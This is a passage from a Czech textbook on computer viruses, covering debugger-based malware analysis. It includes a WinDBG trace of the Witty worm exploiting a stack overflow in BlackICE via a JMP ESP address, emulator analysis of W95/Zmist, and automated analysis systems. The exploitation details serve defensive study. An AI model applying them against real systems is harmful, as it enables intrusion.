Obrázek 15.22 Log nástroje strace zobrazující kód exploitu Linux/Slapper Jak demonstruje tento příklad, nástroje typu strace/ltrace mohou být často užitečné k lepšímu pochopení, nebo k prověření určitého místa. V praxi je však zaznamenáno příliš mnoho volání funkcí, takže se v této záplavě informací, obsažených v logovacím souboru, můžeme snadno ztratit. V některých případech je lepší variantou debugování, při kterém můžeme omezit množství zobrazovaných informací.

Počítačové viry – analýza útoku a obrana

555

15.4.4.8 Debugování Existuje několik truhů debuggerů, které lze použít pro trasování běžících počítačových virů a dalších škodlivých programů. Vhodný nástroj si vyberte podle typu analýzy, kterou chcete provádět. Následující skupiny softwarových debuggerů lze použít k trasování binárního kódu:  D ebugger v režimu jádra – Příkladem může být komerční nástroj SoftICE. Chcete-li trasovat

kód v režimu jádra, neexistuje pod Windows nic lepšího (http://www.compuware.com/products/numega.htm).  D ebugger v uživatelském režimu – Volně dostupným nástrojem je OllyDBG. Tento výkonný

debugger obsahuje mnoho výborných funkcí, jako například vyhledávání v paměti a výpis.

Můžete jej získat na http://home.t-online.de/home/OllyDBG. Vynikajícím komerčním řešením je IDA, které v nových verzích také podporuje debugování.  V irtuální debugger – Například Turbo Debugger v režimu V86. Vynikající vydání Turbo

Debugger 5.5 se stalo volně dostupným nástrojem a lze jej získat na http://www.borland. com/products/downloads/download_cbuiler.html.  D ebugger v režimu uživatele a jádra – Volně dostupným nástrojem je WinDBG od Microsoftu.

Během let ušel již dlouhou cestu. Může být použit k trasování kódu Windows a to jak lokálně, tak i vzdáleně. Je možné jej stáhnout z webu Microsoftu na adrese http://www.microsoft. com/whdc/ddk/debugging/default.mspx.

Poznámka Pokud tuto stránku opravdu navštívíte, nezapomeňte stáhnout soubory symbolů pro kód Microsoft Windows. Pomůže vám to debuggovat škodlivý kód mnohem rychleji. Tyto symboly používá i mnoho dalších nástrojů, včetně SoftICE a IDA. Microsoft nabízí také několik dalších konzolových nástrojů pro ladění. Nepřehlédněte další nástroje, které můžete získat, například debuggery DEBUG a NTSD pro Windows.

Předchozí doporučení byla orientována obecně na Windows. Potřebujete-li debugovat (ladit) škodlivý kód na platformách Linux, navrhuji použití gdb (GNU debugger). Můžete jej naleznout na adrese http://source.redhat.com/gdb.

Každé rozsáhlé prostředí pro makra a skripty, například VBA a VBS, podporuje ladění. To může být přínosem pro analýzu různých makrovirů a skriptovacích virů.

Některé debuggery mohou pracovat ve více režimech. SoftICE může být užitečný k trasování programů v uživatelském režimu a WinDBG ("Wind Bag", "větrný vak" – jedná se o slovní hříčku, pozn. překladatele) od Microsoftu může být použit pro podporu ladění jak v režimu jádra, i v režimu uživatelském.

Mnoho debuggerů podporuje vzdálené ladění prostřednictvím síťového rozhraní. WinDBG například používám k trasování kódu na IA64 ze systému IA32. Stejně dobře podporují vzdálené ladění novější vydání IDA. Pomocí tohoto nástroje je například možné z Linuxu ladit škodlivý kód na systému Win-

556

Kapitola 15 – Techniky analýzy škodlivého kódu

dows (stejně jako Windows z Windows, nebo Linux z Windows). To nám může hodně pomoci při práci se škodlivým kódem v uživatelském režimu.

Je-li potřeba analyzovat rootkity nebo viry v režimu jádra za běhu, je nezbytné mít debugger, který dokáže trasovat kód v tomto režimu. Je velice málo dobrých debuggerů, které umí trasovat škodlivý kód, používající funkcionalitu režimu jádra. Mým oblíbeným debuggerem, který podporuje ladění v režimu jádra systémů Windows je SoftICE. Jeho jméno je odvozeno od výkonného debuggovacího zařízení na úrovni hardware, nazvaného jako ICE ("in-circuit emulator"). Předpona "Soft" pak naznačuje, že se jedná o debugger na úrovni softwaru, nikoli hardwaru. Systémy ICE obvykle používají další procesor a u běžícího procesu dokáží zobrazit detaily na úrovni mikrokódu. Jedná se o nejvýkonnější typ nástrojů pro ladění vůbec, jsou však extrémně drahá, čímž tak zůstávají mimo dosah většiny z nás. Řešení na úrovni software mohou být rovněž poměrně výkonná a SoftICE jistě takovým nástrojem je.

Začal jsem jej používat už v dobách DOSu, ale úplně jsem mu propadnul, když jsem začal vyvíjet ovladače režimu jádra pro Windows NT. V roce 1996 byl velice potřebný, protože WinDGB od Microsoftu byl teprve v raném stadiu vývoje a často havaroval v různých situacích, které nastávaly při ladění. Havárie je přitom tou poslední věcí, kterou při ladění škodlivého kódu potřebujete. WinDBG naštěstí prošel dlouhým vývojem a jeho poslední verze jsou mnohem přátelštější.

SoftICE může být velice užitečný v obtížných situacích, jako například při trasování kódu, který je upravený proti ladění. Jedná se například o trik, zabudovaný ve viru W95/CIH, který používá přechod do režimu jádra, založený na INT 3 (přerušení, které se využívá pro breakpointy), čímž debugger zastaví (viz kapitola 6 popisující základní obranné strategie virů). Tento trik může fungovat i ve standardním režimu SoftICE. Lze jej však obejít pomocí příkazu BPM (breakpoint on memory access) tohoto debuggeru, který nepoužívá breakpoint založený na INT 3, ale ladící registry. Tím, že není závislý na INT 3 jako podmínce přerušení, je lépe chráněn proti oklamání škodlivým kódem. V současné době však existuje mnoho dalších metod proti ladění škodlivého kódu (viz kapitola 6), které mohou být problémem i pro ty nejlepší debuggery, zejména tehdy, pokud si tuto skutečnost neuvědomujete a nedáváte na ni pozor.

SoftICE je velice užitečný při zobrazování jmen API a v mnoha případech i jejich parametrů. Do systému je možné zavést další tabulku symbolů a s její pomocí rychleji prohlížet škodlivý kód.

SoftICE je také výkonný při práci s triky, které souvisí se zachycováním výjimek, běžnými ve škodlivém kódu. Při práci s debuggerem v uživatelském režimu, jako Turbo Debugger, lze stopu takového kódu snadno ztratit, protože ovladače výjimek ve Windows spustí kód v režimu jádra, do kterého debugger nemůže umístit breakpoint. K trasování červa CodeRed v akci jsem používal SoftICE. Bylo to nutné pro pochopení útoku pomocí přetečení zásobníku, který byl založen na ovládnutí ovladače přerušení ve Windows.

Virtuální debuggery, například Turbo Debugger v režimu V86, vám mohou pomoci trasovat agresivní DOSový kód, který je upravený proti ladění tak, že souvisle modifikuje vektor tabulky přerušení INT 1 a INT 3. Turbo Debugger jako obranu proti tomu používá ovladač, který přepíná procesor do režimu V86, aby spustil virtuální stroj, založený na CPU. Debuggery virtuálních strojů vás ovšem v mnoha případech nezachrání. Škodlivý kód totiž může testovat, kolik času uplynulo mezi dvěma instrukcemi, odhadnout, že pomocí debuggeru trasujete kód pomaleji a podle toho se zařídit. Tento režim debuggeru mě nicméně ovlivnil při návrhu systémů ladění na bázi emulace CPU pro lepší práci se škodlivým kódem, jak popisuji dále v této kapitole.

Počítačové viry – analýza útoku a obrana

557

Většina počítačových virů může být efektivně trasována pomocí debuggeru v uživatelském režimu. Líbí se mi skutečnost, že debuggery v uživatelském režimu mohou pracovat paralelně s ostatními aplikacemi v systému, takže mohu použít jeden počítač v multitaskingovém režimu. Z debuggeru mohu jednoduše vzít zajímavá data a vložit je do jiného souboru. Mohu například připojit debugger k běžícímu škodlivému procesu, dostat se do jeho adresovacího prostoru a zkopírovat části dekódovaného kódu (nebo dat) do textového editoru. Toto je možné i při použití SoftICE, je to však o něco komplikovanější, protože při pozastavení běhu systému nad ním debugger přebírá kontrolu. Když se řízení vrátí zpět do systému, můžete použít v uživatelském režimu (System Loader) komponentu SoftICE a uložit historii příkazů do souboru. Získáte tak požadované výpisy paměti a kódu.

V textu dále uvádím podrobný ladicí výpis procesu pro analýzu červa Witty. Aktivitu tohoto červa jsem již demonstroval při síťovém zachycení pomocí Etherealu. Přirozená infekce vám ovšem pomůže lépe pochopit funkčnost kódu červa Witty, pokud se jej chystáte ladit. Podívejte se na obrázek 15.23, kde je zobrazeno rozložení paměti a řízení toku při útoku červa.

Když jsme červa Witty analyzovali s Fredericem Perriotem a Peterem Ferriem, rozhodli jsme se číst aktivní kód červa ve zranitelném adresovacím prostoru pomocí programu WinDBG. Věděli jsme, že toto je nejjednodušší cesta, jak porozumět kódu červa se stoprocentní přesností.

Nejdříve jsme kód červa pozorovali v disassembleru a diskutovali o tom, zdali je založen na unesení (hijacked) návratové adresy pomocí přetečení zásobníku. Konkrétně jsme měli podezření na to, že je návratová adresa upravena tak, aby se odkazovala na 0x5E077663, což by pravděpodobně spustilo kód na zásobníku pomocí instrukce typu "JMP ESP".

1. Abychom si toto podezření prokázali, pronikli jsme pomocí WinDBG do adresovacího prostoru zranitelného procesu BlackICE, jak je to ukázáno na obrázku 15.26, krok 1.

2. Ve druhém kroku jsme zkontrolovali, zdali je 0x5E077663 opravdu offsetem, na který se bude odkazovat unesená návratová adresa. Pomocí příkazu "U" jsme zjistili, že instrukce "JMP ESP" se opravdu nachází tady. Dále jsme na této adrese, pomocí příkazu "BP", nastavili breakpoint. Doufáme, že pokud zasáhne červ cíl, vyvolá se debugger automaticky. Nakonec jsme pomocí příkazu "G" obnovili běh zranitelného procesu.

3. Ve třetím kroku jsme pomocí programu NetCat vložili kód červa ze zdrojového počítače do počítače cílového. Bezprostředně poté jsme vyvolali náš breakpoint. Je vidět, že instrukce "JMP ESP" opravdu spouští kód červa na zásobníku, protože se odkazuje na jinou instrukci skoku ("0x09") v kódu červa.

4. Ve čtvrtém kroku pokračujeme v trasování červa. Dostaneme se na jeho vrchol.

5. V předposledním pátém kroku nás zajímalo, kam se odkazuje registr EDI. Ověřili jsme si, že se odkazuje na červa na heapu, kde je uložen příchozí UDP paket. Z tohoto důvodu kalkulace EDI + 8 v červu přeskočí hlavičku UDP. 6. V tomto posledním kroku vidíme, že po vykonání červa jsou debuggerem rozlišena jména API. Červ volá API GetProcAddress() a GetTickCount(). Toto je informace, kterou byste museli odhadnout, pokud se spoléháte pouze na statickou analýzu disassemblováním. Použijete-li vhodným způsobem debugger, získáte ji bez větší námahy.

558

Kapitola 15 – Techniky analýzy škodlivého kódu

Krok 1. Připojení Microsoft (R) Windows Debugger Version 6.0.0017.0 Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach Executable search path is: ModLoad: 00400000 004db000 C:\Program Files\ISS\BlackICE\blackd.exe ModLoad: 77f80000 77ff9000 C:\WINNT\System32\ntdll.dll : ModLoad: 5e000000 5e13a000 C:\Program Files\ISS\BlackICE\iss-pam1.dll ModLoad: 74fd0000 74fe1000 C:\WINNT\system32\msafd.dll ModLoad: 75010000 75017000 C:\WINNT\System32\wshtcpip.dll : (27c.4d8): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=00000101 edx=ffffffff esi=00000000 edi=00000200 eip=77f9f9df esp=0449ffa8 ebp=0449ffb4 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000286 ntdll!DbgBreakPoint: 77f9f9df cc int 3 Krok 2. Nastavení breakpointu a spuštění 0:013> u 5e077663 iss_pam1!psomDisplayMem+4a613: 5e077663 ffe4 jmp esp 5e077665 59 pop ecx 5e077666 07 pop es 0:013> bp 5e077663 0:013> g Krok 3. Zásah Breakpoint 0 hit eax=00000000 ebx=012a1020 ecx=0425f898 edx=0425fb00 esi=00000064 edi=00000385 eip=5e077663 esp=0425fafc ebp=fffffeac iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 iss_pam1!psomDisplayMem+4a613:5e077663 ffe4 jmp esp {0425fafc} 0:010> db esp 0425fafc e9 21 fe ff ff 00 ff ff-85 03 00 00 8d 03 00 00 .!..............

Krok 4. Trasování kódu na zásobníku 0:010> t

Počítačové viry – analýza útoku a obrana

559

eax=00000000 ebx=012a1020 ecx=0425f898 edx=0425fb00 esi=00000064 edi=00000385 eip=0425fafc esp=0425fafc ebp=fffffeac iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 0425fafc e921feffff jmp 0425f922 0:010> t eax=00000000 ebx=012a1020 ecx=0425f898 edx=0425fb00 esi=00000064 edi=00000385 eip=0425f922 esp=0425fafc ebp=fffffeac iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 0425f922 89e7 mov edi,esp 0:010> t eax=00000000 ebx=012a1020 ecx=0425f898 edx=0425fb00 esi=00000064 edi=0425fafc eip=0425f924 esp=0425fafc ebp=fffffeac iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 0425f924 8b7f14 mov edi,[edi+0x14] ds:0023:0425fb10=03fe1080 0:010> t eax=00000000 ebx=012a1020 ecx=0425f898 edx=0425fb00 esi=00000064 edi=03fe1080 eip=0425f927 esp=0425fafc ebp=fffffeac iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 0425f927 83c708 add edi,0x8 Krok 5. Kam ukazoval EDI? 0:010> d edi 03fe1080 0f a0 00 64 03 8d c4 f6-05 00 00 00 00 00 00 12 ...d............ : : 03fe10f0 02 20 20 20 20 20 20 20-28 5e 2e 5e 29 20 20 20 . (^.^) 03fe1100 20 20 20 69 6e 73 65 72-74 20 77 69 74 74 79 20 insert witty 03fe1110 6d 65 73 73 61 67 65 20-68 65 72 65 2e 20 20 20 message here.

Krok 6. Pochopení API 0:010> p eax=77e80000 ebx=7503306f ecx=00000000 edx=77fcd348 esi=00000308 edi=03fe1088 eip=0425f9cd esp=0425f8cc ebp=fffffeac iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 0425f9cd 3eff1598400d5e call dword ptr ds:[iss_pam1!psomResetFrameOverrideD stMac+0x31a58 (5e0d4098)]{KERNEL32!GetProcAddress (77e9564b)} ds:0023:5e0d4 098=77e9564b

560

Kapitola 15 – Techniky analýzy škodlivého kódu

0:010> p eax=77e8c0a6 ebx=7503306f ecx=0425fd44 edx=77fcd348 esi=00000308 edi=03fe1088 eip=0425f9d4 esp=0425f8d4 ebp=fffffeac iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 0425f9d4 ffd0 call eax {KERNEL32!GetTickCount (77e8c0a6)}

Obrázek 15.23 Trasování červa Witty pomocí WinDBG. Přínosem tohoto experimentu je zjištění, že debugger nám může pomoci mnohem rychleji pochopit kód viru. Stačí použít pečlivě umístěný breakpoint. Počítačové viry je možné trasovat například tak, že vložíte breakpointy do funkcí, které otevírají soubory, přičemž po otevření souboru virem trasujete infekční rutinu.

Obrázek 15.24 ukazuje rozvržení paměti a tok řízení během útoku – můžete jej použít k lepšímu pochopení předchozího záznamu ladění. Červ získá kontrolu ve čtyřech krocích: V prvním kroku napadne zranitelná funkce sprintf() zásobník a přepíše návratovou adresu, která je vybrána instrukcí RET v souboru iss_pam1.dll. V druhém kroku vyvolá instrukce JMP ESP běh kódu zásobníku, kde je tělo červa.

Ve třetím kroku zpětná instrukce skoku spustí počáteční kód červa, který je v kroku 4.

Obrázek 15.24 Rozvržení paměti a tok řízení během útoku červa Witty.

Počítačové viry – analýza útoku a obrana

561

Poznámka Při analýze počítačových červů v debuggeru buďte extrémně opatrní, protože instrukce breakpointů (např. operační kódy 0xCC) mohou být vloženy do toku kódu různých kopií. Dobrou praxí je odstranit výsledky ze vsech kopií po skončení každé takové analýzy.

15.4.4.9 Analýzy virů na steroidech A nakonec jsme se dostali k popisu mého oblíbeného nástroje. Jen těžko naleznete nástroj, který by lépe odpovídal potřebám vašich analýz, než takový, který sami vyvinete. Pro zjednodušení mnoha obtížných úloh analýzy, jako je přesná identifikace, ruční tvorba definic nebo analýza polymorfních virů, jsme vytvořili program VAT (Virus Analysis Toolkit). Tento produkt (uvedený na obrázku 15.25) byl vyvinut ve firmě Data Fellows (nyní F-Secure) v roce 1997. Ve svém základním pojetí se VAT svými schopnostmi podobá expertním systémům15 (musím poděkovat Jukkovi Kohonenovi za jeho užitečné poznámky při vývoji uživatelského rozhraní, které způsobily úplnou změnu mé představy o tomto nástroji).

Srdcem VAT je výkonný emulátor kódu. Dokáže pracovat s různými formáty souborů, takže může snadno zavádět soubory typu COM, EXE, PE a další. Podobně jako v debuggeru v něm můžete trasovat provádění programů – kód viru ale nemá žádnou možnost, jak infikovat systém, protože běží v softwarově emulovaném prostředí. Protože je vše "virtualizováno", složité triky škodlivého programu proti ladění jsou ve VAT snadněji zvládnutelné. Emulátor například podporuje zpracování výjimek, takže mnoho takových triků je možné nenápadně obejít.

562

Kapitola 15 – Techniky analýzy škodlivého kódu

Obrázek 15.25 VAT se souborem infikovaným W95/Zmist zavedeným do emulátoru.

Jednou ze základních výhod VAT je to, že breakpointy je možné vkládat opravdu kamkoliv. Normálně je potřeba v debuggeru trasovat polymorfní decryptor tak dlouho, dokud není dešifrováno dostatečné množství kódu (nejméně jeden bajt), do kterého je možné umístit breakpoint. To však není ve VAT nutné, protože emulátor nepotřebuje breakpointy založené na INT 3.

Na obrázku 15.25 je soubor infikovaný virem W95/Zmist zaveden do emulátoru VAT. Jak bylo popsáno v kapitole 7, o vylepšených technikách vývoje kódu a generátorů počítačových virů, Zmist se integruje do instrukčního toku hostitelského kódu. Obrázek ukazuje, že polymorfní decryptor začíná instrukcí PUSH vpravo od podmíněného skoku hostitelského kódu. Instrukční ukazatel (EIP) mohu nastavit přímo na toto místo a ve VAT spustit běh kódu. Emulátor umí trasovat všechny bajty, změněné ve virtuální paměti, a zobrazit je červeně zvýrazněné. To je velmi užitečné pro zobrazení dešifrovaného kódu. VAT se automaticky zastaví a nabídne breakpoint v případě, že se vykonává podezřelá část kódu, například

Počítačové viry – analýza útoku a obrana

563

instrukce CALL, která směřuje na instrukci POP (což je pro viry typické). VAT zastaví emulaci také tehdy, je-li dešifrovaný kód vykonán ve virtuálním stroji. Takto je jednoduše možné spustit virus v emulátoru a počkat, dokud se sám nedešifruje.

Na obrázku 15.26 je dešifrovaná oblast metamorfního těla viru Zmist pod vrstvou šifrování.

Obrázek 15.26 Pohled na zašifrované metamorfní tělo červa W95/Zmist.

Metamorfní kód zaznamenáte pečlivým pročítáním kódu. Na obrázku 15.26/1 můžete například vidět instrukci "MOV EDX, EDX", která je jednou z mnoha nesmyslných instrukcí, vložených do instrukčního toku. V tomto místě můžete vidět rafinované porovnání MZ, které je zatemněné (obfuscated) instrukcí "NEG". Na obrázku 15.26/2 můžete vidět další nesmyslné instrukce, jako jsou "MOV EDI EDI" a pár "PUSH EDX", "POP EDX". Pokud pozorně zkontrolujte kód kolem značky "Mistfall", zjistíte, že signatura metamorfního enginu je umístěna na zásobníku v dešifrované podobě, což signalizuje její začátek.

564

Kapitola 15 – Techniky analýzy škodlivého kódu

Zmist jistě patří mezi nejobtížněji odhalitelné viry. Je obtížné jej detekovat nejenom kvůli polymorfnímu a metamorfního kódu, ale také díky tomu, že jsou ukrývány charakteristické znaky tohoto typu enginu.

Pro vysvětlení – metamorfní engine například používá vkládání nesmyslného kódu a odpovídající generátor instrukcí. Trik spočívá v tom, že nesmyslný kód může být zmutován do instrukcí, které po vykonání produkují odpovídající výsledek. Pro řízení růstu těla viru se používá sběrač smetí (garbage collector). Nicméně však nedokáže rozlišit všechny formy těchto nesmyslných metamorfních instrukcí. Tato vlastnost (nebo možná chyba?) má za následek neočekávaný růst kódu, který na první pohled vypadá nepřirozeně, nicméně je opravdu "generován" podivnými interakcemi rutin metamorfního enginu.

VAT umí současně otevřít několik aplikací a emulace spouštět ve více threadech. To je velice užitečné, protože po každé emulaci a dešifrování mohou být jednotlivé kopie virových těl porovnány s ostatními (pomocí příkazů VAT). Tak je možné zvýraznit podobný kód v těle viru v různých instancích, což velice usnadňuje získání přesné identifikace. Samozřejmě – na taková porovnávání mohou metamorfní viry snadno zaútočit, ale na druhou stranu, pomocí této funkcionality mohou být snadno porovnány i vysoce polymorfní viry.

VAT také umožňuje uložit dešifrovaný kód z paměti virtuálního stroje zpět do souboru, například do obrazu PE. To je velice užitečná vlastnost, protože dešifrovaný binární kód pak může být snadno zaveden do IDA pro další analýzu a okomentování.

Je zajímavé, že debugování založené na emulaci je stále populárnější. Snažil jsem se vývojáře IDA přesvědčit k tvorbě takového emulátoru již před lety, ale nebyl jsem úspěšný. K mému překvapení ovšem Chris Eagle (jeden z uživatelů IDA) vytvořil plug-in pro IDA, nazvaný jako ida-x86emu16, který podporuje některé z nejrozšířenějších instrukcí CPU Intel. Přestože je tento emulátor stále poněkud omezený ve svých schopnostech, doporučuji jej vyzkoušet, protože je distribuován jako projekt GNU a demonstruje emulaci Windows API. Přestože ida-x86emu nepodporuje takové věci, jako třeba instrukční množinu MMX, demonstruje dobře základní myšlenku analýzy založené na emulaci. V současné době v plug-inu také neexistuje podpora běhu kódu po breakpointech, protože ji Chris považuje kvůli některým omezením za nebezpečnou. Tento emulátor můžete vyzkoušet k trasování UPX a dalších podobných technik komprese, stejně jako jsem to udělal já. Věřím, že to pro vás bude vynikající zkušenost!

15.5 Udržování sbírky škodlivého kódu Prostor této knihy je sice určen k popisu procesu analýzy škodlivého kódu, je však potřeba se zmínit o jednom velice důležitém tématu – o udržování sbírky virů. Je velice důležité, aby si uložili vaše analýzy pro budoucí potřebu. Škodlivý kód je potřeba klasifikovat do rodin, což může být efektivnější, máte-li uložené staré analýzy škodlivého kódu a jeho vzorky. Údržbou sbírky škodlivé kódu se zabývá dokument od Vesselina Bontcheva17, který velice doporučuji.

Kvalitní antivirová detekce, opravy, heuristiky a generické detekce nemohou být vyvíjeny bez dobře udržované sbírky škodlivého kódu.

Počítačové viry – analýza útoku a obrana

565

15.6 Automatizovaná analýza: Digital Immune System V předchozích částech této kapitoly jsme se zabývali základními principy ruční analýzy škodlivého kódu. Tato kapitola by ovšem nebyla kompletní bez popisu technik pro automatizovanou analýzu kódu, jako je třeba Digital Immune System, používaný Symantecem. DIS začal být vyvíjen firmou IBM Research kolem roku 199518. Systém obsahuje tři hlavní analytické komponenty, která podporují viry pro DOS, makroviry a viry pro Win32.

DIS podporuje automatizované doručování nových hrozeb prostřednictvím internetu. Obrázek 15.27 zachycuje datový tok DIS na nejvyšší úrovni.

Obrázek 15.27 Zobrazení produktu Digital Immune System na nejvyšší úrovni.

Na straně poskytovatele existuje velké množství vstupů, kudy mohou zákazníci vstupovat do systému (prostřednictvím zákaznických bran). Pochopitelně, na obou stranách, jak na straně zákazníka, tak i prodejce, je umístěno velkém množství firewallů – ty však nejsou kvůli zjednodušení obrázku na něm zobrazeny19. Systém vyvinutý IBM může zpracovat téměř 100000 požadavků denně.

Do systému vstupují různé podezřelé vzorky, jako jsou pravděpodobně nakažené soubory, které jsou shromážděny v antivirových klientech pomocí heuristických technik. Výstupem systému je definice, která je doručena klientovi, který předložil podezřelý objekt k analýze.

Někteří klienti mohou komunikovat se servery karantény, které jsou na straně klientů společné. Tyto servery synchronizují své definice s poskytovatelem a nové definice posílají klientům. Jednotliví koncoví uživatelé rovněž mohou do systému zadávat své požadavky prostřednictvím svých antivirových karanténních rozhraní. Podezřelé vzorky mohou být zasílány také z různých honeypot systémů9.

Automatizované analytické centrum tyto požadavky zpracovává a vytváří definice, které mohou být použity pro detekci a dezinfekci nových hrozeb. Požadavky také mohou vyžadovat ruční analýzu, kterou pak provádí skupina výzkumníků.

566

Kapitola 15 – Techniky analýzy škodlivého kódu

Jádro centra automatizované analýzy je založeno na použití automatického systému pro replikaci počítačových virů. Na sklonku roku 1993 jsme společně s Ferencem Leitoldem zjistili, že systém pro automatizovanou replikaci virů je opravdu potřebný. Když jsme se například snažili vytvořit sbírku replikovaných vzorů z rozsáhlé kolekce vzorů infikovaných viry, zjistili jsme, že replikace je v procesu analýzy počítačových virů tou časově nejnáročnější operací20.

Replikační systém dokáže kontrolovaně spouštět viry tak, aby infikovaly nové objekty, jako jsou například goat soubory. Infikované objekty jsou pak automatizovaným způsobem shromážděny a uloženy pro další analýzy. Tento typ systému řízené replikace byl rovněž vyvinut Markem Heleniusem na universitě v Tampere pro účely automatizovaného testování antivirů21.

IBM naopak začala pracovat na základech replikačních systémů, které používají virtuální stroje, jako je třeba Bochs (http://bochs.sourceforge.net). Ty v modifikované formě používají principy generické desinfekce. Výzkumníci IBM si totiž uvědomili, že heuristická generická desinfekce (popsaná v kapitole 11) je pro dosažení automatizovaného generování definic nezbytná. Princip generické desinfekce je velmi jednoduchý – pokud víme, jak objekt dezinfikovat, pak můžeme virus detekovat a dezinfikovat automatizovaným způsobem.

Obrázek 15.28 ukazuje proces automatizované detekce virů a generování definic pro opravy. Vstupem systému je vzorek škodlivého kódu. Výstupem je buď automaticky vytvořená definice, nebo odkaz na ruční analýzu, ze které definice vyplyne (v případě potřeby).

Obrázek 15.28 Proces automatického generování definic v DIS.

Počítačové viry – analýza útoku a obrana

567

V první fázi se vzorek dostane do modulu pro klasifikaci hrozeb22. V tomto kroku se provede proces filtrování, který analyzuje formát potencionálně škodlivého kódu a případně se odkáže do modulu ovladače. Nerozlišené objekty přecházejí k ruční analýze. Proces filtrování souvisí s kroky, které byly dříve popisovány jako součásti procesu ruční analýzy. Je důležité rozumět tomu, že vícenásobné procesy analýzy mohou probíhat současně.

V dalším kroku spustí ovladač replikace (na obrázku replikátor) několik replikačních sezení (session).

Replikátor spustí skupinu virtuálních strojů, nebo případně reálných systémů, které otestují replikaci počítačových virů. Například dokumenty obsahující makra jsou zaváděny do prostředí, ve kterém jsou dostupné produkty Microsoft Office. Replikační proces používá moduly zavedené do systému, které spouští viry. Na virtuálních strojích běží monitorovací nástroje, které trasují aktivitu jak na síti, tak i změny v souborech a v registru, a ukládají tyto informace pro pozdější analýzu. Replikátor načítá a spouští více než jedno prostředí, protože startuje pokaždé v čistém stavu tak dlouho, dokud neproběhne přednastavený počet kroků, nebo dokud není virus úspěšně zreplikován.

Nejsou-li informace o počítačovém viru v některých testovacích prostředích dostatečné, ovladač zašle vzorky k ruční analýze. V ostatních případech předá informací do modulu analyzátoru. Ten poté zkontroluje data, tedy infikované goat soubory, a pokusí se z nich extrahovat detekované řetězce23 (případně použije jiné metody). Pokud tento krok selže (například proto, že virus je metamorfní), bude zreplikovaný vzorek zaslán k ruční analýze.

Pokud může analyzátor vytvořit definice pro detekci a dezinfekci viru, předá je modulu generátoru. Ten ze zdrojového kódu definice zkompiluje nové binární definice. V tomto místě je nové virové hrozbě automaticky přiřazeno dočasné jméno. To je později změněno na základě zatřídění výzkumníka.

Generátor nakonec předá zkompilované definice testovacímu modulu. Ten provede dvojitou kontrolu korektnosti definice a otestuje ji na falešná pozitiva. Je-li v některém z předchozích kroků detekován problém, přesměruje vzorek k manuální analýze. Pokud je vše OK, je připravená definice odeslána na definiční server a poté do systému, který vzorek původně zaslal.

Například – takový červ W32/Swen.A@mm byl automaticky zpracován systémem DIS jako Worm.Automat.AHB. Není nic více fascinujícího, než to, že pro odpovídající reakci na vypuknutí červa není potřeba zásah člověka.

Odkazy 1. Jeffrey O. Kephart, Gregory B. Sorkin, Morton Swimmer a Steve R. White, "Blueprint for a Computer Immune System", Virus Bulletin Conference, 1997, str. 159-173.

2. Ian Whalley, osobní komunikace, 2000.

3. Rajeev Nagar, Windows NT File System Internals, O’Reilly & Associates, Sebastopol, CA, 1996, ISBN: 1-56592-249-2.

4. Ralf Brown a Jim Kyle, PC Interrupts, Addison-Wesley, Reading, Massachusetts, 1991, ISBN: 0-201-57797-6.

5. File Formats Information, www.wotsit.org.

568

Kapitola 15 – Techniky analýzy škodlivého kódu

6. Ian Whalley, "An Environment for Controlled Worm Replication and Analysis (or: Internet-inna-Box)", Virus Bulletin Conference, 2000, str. 77-100.

7. Nmap ("Network Mapper"), http://www.insecure.org/nmap/.

8. Costin Raiu, osobní komunikace, 2004.

9. Eugene Suslikov, HIEW, http://www.serje.net/sen/.

10. Osobní stránka Matt Pietreka, http://www.wheaty.net.

11. Neil J. Rubenking, "Stay In Control", PC Magazine, http://www.pcmag.com/article2/ 0,1759,25475,00.asp.

12. Joe Wells, dokunentace Smart-Goat Files, 1993.

13. Pavel Baudis, osobní komunikace, 1997.

14. Ed Skoudis a Lenny Zeltser, Malware: Fighting Malicious Code, Prentice Hall, Upper Saddle River, New Jersey, 2004, ISBN: 0-13-101405-6.

15. Dr. Klaus Brunnstein, Simone Fischer-Hubner a Morton Swimmer, "Concepts of an Expert System for Computer Virus Detection", IFIP TC-11, 1991.

16. Chris Eagle, IDA-X86emu, http://sourceforge.net/projects/ida-x86emu.

17. Vesselin Bontchev, "Analysis and Maintenance of a Clean Virus Library", Virus Bulletin Conference, 1993, str. 77-89.

18. Jeffrey O. Kephart, Gregory B. Sorkin, William C. Arnold, David M. Chess, Gerald J. Tesauro a Steve R. White, "Biologically Inspired Defenses Against Computer Viruses", IJCAI, srpen 1995, str. 985-996.

19. Jean-Michel Boulay, osobní komunikace, 2004.

20. Ferenc Leitold, "Automatic Virus Analyser System", Virus Bulletin Conference, 1995, str. 99-108.

21. Marko Helenius, "Automatic and Controlled Virus Code Execution System", EICAR, 1995, str.

T3, 13-21.

22. Steve R. White, Morton Swimmer, Edward J. Pring, William C. Arnold, David M. Chess a John F. Morar, "Anatomy of a Commercial-Grade Immune System", Virus Bulletin Conference, 1999, str.

203–228.

23. Jeffrey O. Kephart a William C. Arnold, "Automatic Extraction of Computer Virus Signatures", Virus Bulletin Conference, 1994, str. 178-184.

KAPITOLA 16 Shrnutí

"Nerad sbírám své vlastní kresby. Vím co každé z nich chybí!"

Endre Szasz

570

Kapitola 16 – Shrnutí

